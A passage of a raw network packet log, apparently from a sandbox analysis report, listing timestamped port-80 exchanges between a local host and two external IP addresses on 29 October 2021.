Oct 29, 2021 20:30:03.450311899 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.450329065 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.450370073 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.450393915 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.453016043 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.453047037 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.453071117 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.453104973 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.453453064 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.453608990 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.453875065 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.453900099 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.453922033 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.453936100 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.453942060 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.453994036 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.480154037 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.480184078 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.480202913 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.480217934 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.480259895 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.480302095 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.487781048 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.487808943 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.487832069 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.487848997 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.487868071 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.487895012 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.490252018 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.490278959 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.490299940 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.490314960 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.490317106 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.490356922 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.490380049 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.490401983 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.490439892 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.490444899 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.490456104 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.490505934 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.491792917 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.491823912 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.491843939 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.491858006 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.491883993 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.491915941 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.491966009 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.491988897 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.492012978 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.492026091 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.492027044 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.492060900 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.492197037 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.492218971 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.492238998 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.492257118 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.492259979 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.492281914 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.492299080 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.492304087 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.492320061 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.492357016 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.492976904 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.493005991 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.493022919 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.493031025 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.493047953 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.493072033 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.493264914 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.493287086 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.493305922 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.493307114 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.493324041 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.493340969 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.493443012 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.493465900 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.493484974 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.493486881 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.493503094 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.493522882 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.493540049 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.493546963 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.493566036 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.493567944 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.493591070 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.493606091 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.493613005 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.493637085 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.493652105 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.493654013 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.493690014 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.494187117 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.494213104 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.494232893 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.494252920 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.494270086 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.494276047 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.494298935 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.494303942 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.494314909 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.494333982 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.494373083 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.494394064 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.494414091 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.494429111 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.494431973 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.494473934 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.494807005 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.494833946 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.494857073 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.494873047 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.494880915 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.494891882 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.494904995 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.494927883 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.494944096 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.494966984 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.494992018 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.495001078 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.495006084 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.495016098 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.495028973 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.495032072 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.495079041 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.521945953 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.521976948 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.521996975 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.522011995 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.522052050 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.522274017 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.534631014 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.534660101 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.534681082 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.534704924 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.534714937 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.534750938 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.542618990 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.542654037 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.542678118 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.542695045 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.542711020 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.542748928 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.545304060 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.545325994 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.545345068 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.545358896 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.545378923 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.545392036 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.545399904 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.545420885 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.545435905 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.545439005 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.545456886 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.545466900 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.545480013 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.545485020 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.545500994 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.545526981 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.546869040 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.546895981 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.546915054 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.546931028 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.546969891 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.547005892 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.547590971 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.547610998 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.547630072 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.547650099 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.547657967 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.547669888 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.547678947 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.547691107 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.547704935 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.547713995 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.547749996 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.547979116 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.548000097 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.548017979 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.548037052 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.548047066 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.548057079 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.548072100 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.548075914 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.548090935 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.548135996 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.548180103 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.548201084 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.548221111 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.548223972 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.548240900 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.548259020 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.548261881 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.548279047 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.548294067 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.548300028 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.548315048 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.548333883 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.548350096 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.548352003 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.548367023 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.548381090 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.548413038 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.548415899 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.548433065 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.548455000 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.548470020 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.548482895 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.548516035 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.548929930 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.548954964 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.548974037 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.548994064 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.549005032 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.549012899 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.549031973 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.549032927 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.549048901 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.549067020 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.549071074 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.549086094 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.549105883 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.549119949 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.549123049 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.549156904 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.549293995 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.549314976 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.549338102 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.549351931 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.549366951 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.549390078 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.549431086 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.549449921 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.549468994 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.549478054 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.549484015 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.549537897 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.549710035 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.549729109 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.549756050 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.549768925 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.549796104 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.559092999 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.559127092 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.559145927 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.559168100 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.559168100 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.559180021 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.559200048 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.559370041 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.559386015 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.589025021 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.589060068 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.589080095 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.589093924 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.589112043 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.589142084 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.597425938 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.597457886 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.597477913 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.597507954 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.597515106 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.597526073 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.597542048 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.597547054 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.597589970 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.599875927 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.599905014 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.599920034 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.599961996 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.606216908 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.611056089 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.611090899 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.611116886 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.611144066 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.611175060 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.611202002 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.611207962 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.611228943 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.611251116 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.613224030 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.642390013 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.642421007 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.642443895 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.642467976 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.642467976 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.642489910 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.642494917 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.642513037 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.642558098 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.642883062 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.642910004 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.642926931 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.642931938 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.642954111 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.643150091 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.674501896 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.674546957 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.674563885 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.674581051 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.674611092 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.674621105 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.674628973 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.674644947 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.674670935 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.674850941 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.674905062 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.721628904 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.721662045 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.721684933 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.721708059 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.721729994 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.721729994 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.721754074 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.721787930 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.722843885 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.723424911 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.723496914 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.723536015 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.723642111 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.724149942 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.724216938 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.753801107 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.753848076 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.753890991 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.753973007 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.753992081 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.754036903 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.754045010 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.754072905 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.754097939 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.754117966 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.754139900 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.754148960 CEST	49846	80	192.168.2.3	91.219.236.97
